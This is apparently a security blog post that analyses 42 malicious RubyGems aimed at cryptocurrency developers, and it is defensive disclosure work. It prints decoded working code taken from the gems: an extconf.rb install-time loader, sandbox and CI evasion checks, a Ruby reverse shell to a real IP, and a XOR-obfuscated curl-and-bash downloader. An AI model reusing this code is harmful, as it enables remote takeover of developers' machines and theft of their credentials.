---
title: "42 Malicious RubyGems Open a Reverse Shell at Install Time"
description: "One RubyGems account published 42 gems that run code during gem install. On a developer workstation, the gems open a reverse shell or download a second stage. They do nothing on CI runners and sandboxes."
url: "https://safedep.io/blog/rubygems-crypto-gems-install-time-reverse-shell"
author: "Kunal Singh"
published: "2026-10-05"
---

# 42 Malicious RubyGems Open a Reverse Shell at Install Time

On October 5, 2026, the RubyGems account `reqthrottle_3474` published 42 malicious gems in about one hour. Most of the names target cryptocurrency developers, like `eth-keystore-utils`, `bip39-wordlist-utils`, and `btc-wallet-tools`. The last 16 are typosquats of real gems, like `bitcion`, `etheremu.rb`, `kecack`, and `solaan-ruby`. The malicious code runs during `gem install` or `bundle install`.

The gems do nothing in CI or in a sandbox. On a developer's machine, they wait 20 to 40 minutes in the background, then do one of two things:

1. Eleven gems open a reverse shell to `45.138.12[.]177` on port 8089 or 8090.
2. Thirty-one gems download `wgkit.tar.gz` from `45.138.12[.]177:8092` and run `wg_install.sh` from it.

For the 11 reverse-shell gems, the installation completes with no visible error. If a workstation installed one of these gems, treat the machine and its credentials as compromised.

## How the code runs at install time

A gem can declare a native extension in its gem specification. During installation, RubyGems runs the `extconf.rb` file of the extension with Ruby. For a real extension, this step makes a `Makefile`. The malicious gems use this step to run their code. All 42 gem specifications declare an extension:

```yaml title="metadata.gz (eth-keystore-utils 1.0.0, excerpt)"
extensions:
  - ext/req_throttle_mini/extconf.rb
```

The Ruby code in `lib/` is a decoy. For example, `lib/eth_keystore_utils.rb` parses encrypted Ethereum key files. It does nothing malicious. The 31 newer gems also contain a C file with an empty `Init_` function. This file makes the extension directory look like a real native extension.

All 42 `extconf.rb` files come from two templates. The 11 reverse-shell gems use template A. The 31 second-stage gems use template B.

## Environment checks

Both templates do the same checks first. The gem stops if one of these conditions is true:

- The environment contains a CI variable (`CI`, `GITHUB_ACTIONS`, `TRAVIS`, `JENKINS_URL`, `GITLAB_CI`, `CODESPACES`).
- The hostname is empty, `instance`, `localhost`, or contains `uvm`, `firecracker`, `sandbox`, `vagrant`, or `fc-vm`.
- The username starts with `uA` followed by digits, or contains `sandbox`, `tester`, `analys`, or `scanner`.
- The current directory is under `/opt/rubygems`, `/var/tmp`, `/tmp/`, `/private/var/tmp`, or `/workspace/`.

Next, the gem looks for two signs of a real workstation:

- The system uptime is more than 30 minutes.
- The home directory contains `.ssh`, `.gitconfig`, `.npmrc`, `.gem/credentials`, or `.bundle`.

```ruby title="ext/req_throttle_mini/extconf.rb (eth-keystore-utils 1.0.0, excerpt)"
def machine_age_ok?
  ut = begin; File.read('/proc/uptime').split.first.to_f; rescue Exception; 0.0; end
  ut > 1800
end

def dev_signals?
  home = ENV['HOME'].to_s
  return false if home.empty? || !File.directory?(home)
  return true if File.exist?(File.join(home, '.ssh'))
  return true if File.exist?(File.join(home, '.gitconfig'))
  return true if File.exist?(File.join(home, '.npmrc'))
  return true if File.exist?(File.join(home, '.gem', 'credentials'))
  return true if File.exist?(File.join(home, '.bundle'))
  false
end

unless in_ci? || ephemeral_host? || generated_user? || analysis_path?
  if machine_age_ok? && dev_signals?
```

A scanner can install the gem in a new container, under `/tmp`, or in a CI job. In each of these cases, the checks fail. The scanner then records a normal installation with no network traffic.

## The loader

If the checks pass, the gem decodes a Base64 string into Ruby source code. It forks twice and calls `Process.setsid`, so the payload keeps running after the installation ends. The process sends standard input, output, and error to `/dev/null`. Then it runs the payload with `eval`.

```ruby title="ext/req_throttle_mini/extconf.rb (eth-keystore-utils 1.0.0, excerpt)"
      pid = fork do
        begin; Process.setsid; rescue Exception; end
        child = fork do
          begin
            $stdin.reopen(File::NULL, 'r')
            $stdout.reopen(File::NULL, 'w')
            $stderr.reopen(File::NULL, 'w')
          rescue Exception
          end
          sleep 1200 + rand(1200)
          begin
            eval(payload)
          rescue Exception
          end
          exit!(0)
        end
        begin; Process.detach(child); rescue Exception; end
        exit!(0)
      end
```

A `rescue Exception` block wraps each step. After the fork, template A calls `create_makefile`, and `gem install` finishes normally.

Template B is the same loader with two differences. It has no `sleep`, because its payload contains the delay. It also has no `require 'mkmf'`. Inference: without `mkmf`, the `create_makefile` call fails, and the installation shows an error. But the payload process starts before this error, so the error does not stop it.

## Reverse shell payload

Eleven gems decode to the same reverse shell. Only the port is different.

```ruby title="Decoded payload (eth-keystore-utils 1.0.0)"
require 'socket'
HOST, PORT = '45.138.12.177', 8090
loop do
  begin
    sock = TCPSocket.new(HOST, PORT)
    sh = IO.popen(['/bin/sh'], 'r+')
    t1 = Thread.new { IO.copy_stream(sock, sh) }
    t2 = Thread.new { IO.copy_stream(sh, sock) }
    t1.join; t2.join
    begin; sh.close; rescue Exception; end
  rescue Exception
  end
  sleep 30
end
```

The operator gets a `/bin/sh` shell. The shell has the permissions of the user who ran `gem install`. If the connection stops, the payload connects again after 30 seconds. Four gems use port 8089: `req-throttle-mini`, `bitcoin-rpc-lite`, `wallet-crypto-utils`, and `web3-eth-utils`. The other seven gems use port 8090.

## Second-stage download payload

Thirty-one gems decode to a downloader. The payload keeps the URL as a hex string. It decodes the string with XOR and the 4-byte key `usv\x9a`.

```ruby title="Decoded payload (wallet-backup-tool 1.0.0)"
key = "usv\x9a".bytes
hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
bs = [hex].pack('H*').bytes
url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
system(cmd) rescue nil
```

In all 31 gems, the string decodes to `http://45.138.12.177:8092/wgkit.tar.gz`. The payload then:

1. Waits 20 to 40 minutes.
2. Downloads the archive to `/tmp/.w1.tgz`.
3. Extracts it to `/tmp/.w1/`.
4. Runs `wg_install.sh` with `bash`.
5. Deletes the files.

The environment variable `WG_KIT_URL` changes the URL. The variable `WG_FAST` sets the delay to 2 seconds. Inference: the operator uses them for tests. What `wg_install.sh` does is not known.

## Indicators of compromise

| Indicator                                      | Type                                                      |
| ---------------------------------------------- | --------------------------------------------------------- |
| `reqthrottle_3474`                             | RubyGems account                                          |
| `45.138.12[.]177:8089`, `45.138.12[.]177:8090` | Reverse shell (TCP)                                       |
| `hxxp://45.138.12[.]177:8092/wgkit.tar.gz`     | Second-stage download                                     |
| `/tmp/.w1.tgz`, `/tmp/.w1/wg_install.sh`       | Second-stage files                                        |
| `WG_KIT_URL`, `WG_FAST`                        | Environment variables that the second-stage payload reads |

The account has 48 gems. Of these, 42 contain the malicious extension:

[rubygems-reqthrottle-crypto-gems-packages.csv](https://safedep.io/data/blogs/rubygems-reqthrottle-crypto-gems-packages.csv)
